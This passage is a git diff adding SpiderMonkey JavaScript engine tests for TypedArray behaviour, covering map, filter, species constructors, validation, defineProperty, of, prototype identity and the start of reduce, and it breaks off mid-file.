+++ b/js/src/tests/non262/TypedArray/length.js
@@ -0,0 +1,14 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const TypedArray = Object.getPrototypeOf(Int32Array);
+
+assertEq(TypedArray.length, 0);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArray, "length"), {
+ value: 0, writable: false, enumerable: false, configurable: true,
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/map-and-filter.js b/js/src/tests/non262/TypedArray/map-and-filter.js
new file mode 100644
index 0000000000..0d86fc02b2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/map-and-filter.js
@@ -0,0 +1,274 @@
+// Tests for TypedArray#map.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.map.length, 1);
+
+ // Basic tests.
+ assertDeepEq(new constructor([1, 3, 5]).map(v => v * 2), new constructor([2,6,10]));
+ assertDeepEq(new constructor([-1, 13, 5]).map(v => v - 2), new constructor([-3, 11, 3]));
+ assertDeepEq(new constructor(10).map(v => v), new constructor(10));
+ assertDeepEq(new constructor().map(v => v + 1), new constructor);
+ assertDeepEq(new constructor([1,2,3]).map(v => v), new constructor([1,2,3]));
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertDeepEq(arr.map((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v;
+ }), arr);
+ assertEq(sum, 15);
+ assertEq(count, 5);
+
+ // Test that changing elements that have been visited does not affect the result.
+ var changeArr = new constructor([1,2,3,4,5]);
+ assertDeepEq(arr.map((v,k) => {
+ changeArr[k] = v + 1;
+ return v;
+ }), new constructor([1,2,3,4,5]));
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertDeepEq(arr.map(function(v) {
+ assertDeepEq(this, thisValue);
+ return v;
+ }, thisArg), arr);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertDeepEq(arr.map(function(v) {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return v;
+ }, thisArg), arr);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertDeepEq(arr.map((v) => {
+ assertEq(this, self);
+ return v;
+ }, thisArg), arr);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.map((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "map";
+ }
+ return v;
+ })
+ } catch(e) {
+ assertEq(e, "map");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.map();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.map(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.map(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var map = newGlobal()[constructor.name].prototype.map;
+ var sum = 0;
+ assertDeepEq(map.call(new constructor([1, 2, 3]), v => sum += v), new constructor([1,3,6]));
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.filter.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that map fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertDeepEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).map((b) => b), new constructor([1,2,3]));
+}
+
+// Test For TypedArray#filter.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.filter.length, 1)
+
+ // Basic tests.
+ assertDeepEq(new constructor([1,2,3]).filter(x => x == x), new constructor([1,2,3]));
+ assertDeepEq(new constructor([1,2,3,4]).filter(x => x % 2 == 0), new constructor([2,4]));
+ assertDeepEq(new constructor([1,2,3,4,5]).filter(x => x < 4), new constructor([1,2,3]));
+ assertDeepEq(new constructor().filter(x => x * 2 == 4), new constructor());
+
+ var arr = new constructor([1,2,3,4,5]);
+ var sum = 0;
+ var count = 0;
+ assertDeepEq(arr.filter((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return (v < 4);
+ }), new constructor([1,2,3]));
+ assertEq(sum, 15);
+ assertEq(count, 5);
+
+ // Test that changing elements that have been visited does not affect the result.
+ var changeArr = new constructor([1,2,3,4,5]);
+ assertDeepEq(arr.filter((v,k) => {
+ changeArr[k] = v + 1;
+ return true;
+ }), new constructor([1,2,3,4,5]));
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertDeepEq(arr.filter(function(v) {
+ assertDeepEq(this, thisValue);
+ return v;
+ }, thisArg), arr);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertDeepEq(arr.filter(function(v) {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return v;
+ }, thisArg), arr);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertDeepEq(arr.filter((v) => {
+ assertEq(this, self);
+ return v;
+ }, thisArg), arr);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.filter((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "filter";
+ }
+ return v;
+ })
+ } catch(e) {
+ assertEq(e, "filter");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.filter();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.filter(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.filter(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var filter = newGlobal()[constructor.name].prototype.filter;
+ var sum = 0;
+ assertDeepEq(filter.call(new constructor([1, 2, 3]), v => {sum += v; return true}),
+ new constructor([1,2,3]));
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.filter.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that filter fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertDeepEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).filter((b) => true), new constructor([1,2,3]));
+}
+
+// Test that changing Array.prototype[Symbol.iterator] does not affect the
+// behaviour of filter. See https://bugzilla.mozilla.org/show_bug.cgi?id=1121936#c18
+// for more details.
+
+var arr = new Uint16Array([1,2,3]);
+
+// save
+var old = Array.prototype[Symbol.iterator];
+
+Array.prototype[Symbol.iterator] = () => { throw new Error("unreachable"); };
+assertDeepEq(arr.filter(v => true), arr);
+
+// restore
+Array.prototype[Symbol.iterator] = old;
+
+// Test that defining accessors on Array.prototype doesn't affect the behaviour
+// of filter. See https://bugzilla.mozilla.org/show_bug.cgi?id=1121936#c18
+// for more details.
+Object.defineProperty(Array.prototype, 0, {configurable: true, get: function() { return 1; }, set: function() { this.b = 1; }});
+assertDeepEq(new Uint16Array([1,2,3]).filter(v => true), new Uint16Array([1,2,3]));
+delete Array.prototype[0];
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/map-species.js b/js/src/tests/non262/TypedArray/map-species.js
new file mode 100644
index 0000000000..8353d914bd
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/map-species.js
@@ -0,0 +1,56 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[2, 4, 6, 8, 10]) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.map(x => x * 2), new constructor2(to));
+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.map(x => x * 2), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFE, 0xFC, 0xFA, 0xF8, 0xF6]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0, 0, 0, 0, 0]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4, -6, -8, -10]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4, -6, -8, -10]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFE, 0xFFFC, 0xFFFA, 0xFFF8, 0xFFF6]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-2, -4, -6, -8, -10]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFE, 0xFFFFFFFC, 0xFFFFFFFA, 0xFFFFFFF8, 0xFFFFFFF6]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-2, -4, -6, -8, -10]);
+
+// different size
+
+test(Uint8Array, Uint16Array);
+test(Uint16Array, Uint8Array);
+
+test(Uint8Array, Uint32Array);
+test(Uint32Array, Uint8Array);
+
+test(Uint16Array, Uint32Array);
+test(Uint32Array, Uint16Array);
+
+test(Float32Array, Float64Array);
+test(Float64Array, Float32Array);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/map-validation.js b/js/src/tests/non262/TypedArray/map-validation.js
new file mode 100644
index 0000000000..1694ef50cb
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/map-validation.js
@@ -0,0 +1,149 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.map.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayLengths = [0, 1, 1024];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.map,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.map,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.map,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, () => 123);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => 123);
+ assertEq(result.length, length + extraLength);
+ assertEq(result[0], (length === 0 ? 0 : 123));
+ assertEq(result[length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/object-defineproperty.js b/js/src/tests/non262/TypedArray/object-defineproperty.js
new file mode 100644
index 0000000000..b19f76b845
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/object-defineproperty.js
@@ -0,0 +1,68 @@
+var obj = new Int32Array(2);
+obj[0] = 100;
+
+var throws = [
+ // Disallow accessors
+ {get: undefined},
+ {set: undefined},
+ {get: undefined, set: undefined},
+ {get: function() {}},
+ {set: function() {}},
+ {get: function() {}, set: function() {}},
+
+ {configurable: false},
+ {enumerable: false},
+ {writable: false},
+
+ {configurable: false, writable: true},
+ {enumerable: false, configurable: false},
+
+ {configurable: false, value: 15}
+];
+
+for (var desc of throws) {
+ assertThrowsInstanceOf(function() { Object.defineProperty(obj, 0, desc); }, TypeError);
+ assertThrowsInstanceOf(function() { Object.defineProperties(obj, {0: desc}); }, TypeError);
+}
+
+Object.defineProperty(obj, 0, {});
+Object.defineProperty(obj, 0, {configurable: true});
+Object.defineProperty(obj, 0, {enumerable: true});
+Object.defineProperty(obj, 0, {writable: true});
+
+assertEq(obj[0], 100);
+
+Object.defineProperty(obj, 0, {configurable: true, value: 15});
+assertEq(obj[0], 15);
+Object.defineProperty(obj, 0, {enumerable: true, value: 16});
+assertEq(obj[0], 16);
+Object.defineProperty(obj, 0, {writable: true, value: 17});
+assertEq(obj[0], 17);
+Object.defineProperty(obj, 0, {value: 18});
+assertEq(obj[0], 18);
+
+var desc = Object.getOwnPropertyDescriptor(obj, 0);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, 18);
+assertEq('get' in desc, false);
+assertEq('set' in desc, false);
+
+Object.defineProperties(obj, {0: {value: 20}, 1: {value: 42}});
+assertEq(obj[0], 20);
+assertEq(obj[1], 42);
+
+anyTypedArrayConstructors.forEach(constructor => {
+ var obj = new constructor(4);
+ obj[0] = 100;
+ obj[1] = 200;
+
+ for (var v of [20, 300, -10, Math.pow(2, 32), -Math.pow(2, 32), NaN]) {
+ Object.defineProperty(obj, 0, {value: v});
+ obj[1] = v;
+ assertEq(obj[0], obj[1]);
+ }
+});
+
+reportCompare(true, true, "test");
diff --git a/js/src/tests/non262/TypedArray/of-validation.js b/js/src/tests/non262/TypedArray/of-validation.js
new file mode 100644
index 0000000000..e7ab905195
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/of-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.of.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [[], [123], [123, ...Array(1023).fill(0)]];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.of,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.of,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].of,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, ...args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, ...args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, ...args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/of.js b/js/src/tests/non262/TypedArray/of.js
new file mode 100644
index 0000000000..af9c112023
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/of.js
@@ -0,0 +1,92 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.of.length, 0);
+
+ assertDeepEq(Object.getOwnPropertyDescriptor(constructor.__proto__, "of"), {
+ value: constructor.of,
+ writable: true,
+ enumerable: false,
+ configurable: true
+ });
+
+ // Basic tests.
+ assertEq(constructor.of().constructor, constructor);
+ assertEq(constructor.of() instanceof constructor, true);
+ assertDeepEq(constructor.of(10), new constructor([10]));
+ assertDeepEq(constructor.of(1, 2, 3), new constructor([1, 2, 3]));
+ assertDeepEq(constructor.of("1", "2", "3"), new constructor([1, 2, 3]));
+
+ // This method can't be transplanted to other constructors.
+ assertThrowsInstanceOf(() => constructor.of.call(Array), TypeError);
+ assertThrowsInstanceOf(() => constructor.of.call(Array, 1, 2, 3), TypeError);
+
+ var hits = 0;
+ assertDeepEq(constructor.of.call(function(len) {
+ assertEq(arguments.length, 1);
+ assertEq(len, 3);
+ hits++;
+ return new constructor(len);
+ }, 10, 20, 30), new constructor([10, 20, 30]));
+ assertEq(hits, 1);
+
+ // Behavior across compartments.
+ if (typeof newGlobal === "function") {
+ var newC = newGlobal()[constructor.name];
+ assertEq(newC.of() instanceof newC, true);
+ assertEq(newC.of() instanceof constructor, false);
+ assertEq(newC.of.call(constructor) instanceof constructor, true);
+ }
+
+ // Throws if `this` isn't a constructor.
+ var invalidConstructors = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ constructor.of, () => {}];
+ invalidConstructors.forEach(C => {
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(C);
+ }, TypeError);
+ });
+
+ // Throw if `this` is a method definition or a getter/setter function.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call({method() {}}.method);
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(Object.getOwnPropertyDescriptor({get getter() {}}, "getter").get);
+ }, TypeError);
+
+ // Generators are not legal constructors.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function*(len) {
+ return len;
+ }, "a")
+ }, TypeError);
+
+ // An exception might be thrown in a strict assignment to the new object's indexed properties.
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return {get 0() {}};
+ }, "a");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return Object("1");
+ }, "a");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ constructor.of.call(function() {
+ return Object.create({
+ set 0(v) {
+ throw new TypeError;
+ }
+ });
+ }, "a");
+ }, TypeError);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(constructor.of(0.1, null, undefined, NaN), new constructor([0.1, 0, NaN, NaN]));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/prototype-constructor-identity.js b/js/src/tests/non262/TypedArray/prototype-constructor-identity.js
new file mode 100644
index 0000000000..10324f5720
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/prototype-constructor-identity.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = 'prototype-constructor-identity.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 896116;
+var summary =
+ "Typed array prototypes/constructors should be largely empty, inheriting "
+ "most functionality from %TypedArray% and %TypedArray%.prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var TypedArray = Object.getPrototypeOf(Int8Array);
+
+assertEq(TypedArray !== Function.prototype, true,
+ "%TypedArray% should be in constructors' [[Prototype]] chains");
+assertEq(Object.getPrototypeOf(TypedArray), Function.prototype,
+ "%TypedArray%.prototype should inherit from Function.prototype");
+
+assertEq(TypedArray.prototype.constructor, TypedArray,
+ "bad %TypedArray%.prototype.constructor");
+
+// Check a few different functions we implement are here, as a sanity check.
+var typedArrayProps = Object.getOwnPropertyNames(TypedArray.prototype);
+assertEq(typedArrayProps.indexOf("copyWithin") >= 0, true);
+assertEq(typedArrayProps.indexOf("subarray") >= 0, true);
+assertEq(typedArrayProps.indexOf("set") >= 0, true);
+
+anyTypedArrayConstructors.forEach(function(ctor) {
+ assertEq(Object.getPrototypeOf(ctor), TypedArray);
+
+ var proto = ctor.prototype;
+
+ // Inherited functions aren't present.
+ var props = Object.getOwnPropertyNames(proto).sort();
+ assertEq(props[0], "BYTES_PER_ELEMENT");
+ assertEq(props[1], "constructor");
+ assertEq(props.length, 2);
+
+ // The inheritance chain should be set up properly.
+ assertEq(Object.getPrototypeOf(proto), TypedArray.prototype,
+ "prototype should inherit from %TypedArray%.prototype");
+});
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/TypedArray/reduce-and-reduceRight.js b/js/src/tests/non262/TypedArray/reduce-and-reduceRight.js
new file mode 100644
index 0000000000..21a7d99e90
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/reduce-and-reduceRight.js
@@ -0,0 +1,188 @@
+// Tests for TypedArray#reduce.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.reduce.length, 1);
+
+ // Basic tests.
+ var arr = new constructor([1, 2, 3, 4, 5]);
+
+ assertEq(arr.reduce((previous, current) => previous + current), 15);
+ assertEq(arr.reduce((previous, current) => current - previous), 3);
+
+ var count = 0;
+ var sum = 0;
+ assertEq(arr.reduce((previous, current, index, array) => {
+ count++;
+ sum += current;
+ assertEq(current - 1, index);
+ assertEq(current, arr[index]);
+ assertEq(array, arr);
+ return previous * current;
+ }), 120);
+ assertEq(count, 4);
+ assertEq(sum, 14);
+
+ // Tests for `initialValue` argument.
+ assertEq(arr.reduce((previous, current) => previous + current, -15), 0);
+ assertEq(arr.reduce((previous, current) => previous + current, ""), "12345");
+ assertDeepEq(arr.reduce((previous, current) => previous.concat(current), []), [1, 2, 3, 4, 5]);
+
+ // Tests for `this` value.
+ var global = this;
+ arr.reduce(function(){
+ assertEq(this, global);
+ });
+ arr.reduce(function(){
+ "use strict";
+ assertEq(this, undefined);
+ });
+ arr.reduce(() => assertEq(this, global));
+
+ // Throw an exception in the callback.
+ var count = 0;
+ var sum = 0;
+ assertThrowsInstanceOf(() => {
+ arr.reduce((previous, current, index, array) => {
+ count++;
+ sum += current;
+ if (index === 3) {
+ throw TypeError("reduce");
+ }
+ })
+ }, TypeError);
+ assertEq(count, 3);
+ assertEq(sum, 9);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.reduce();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
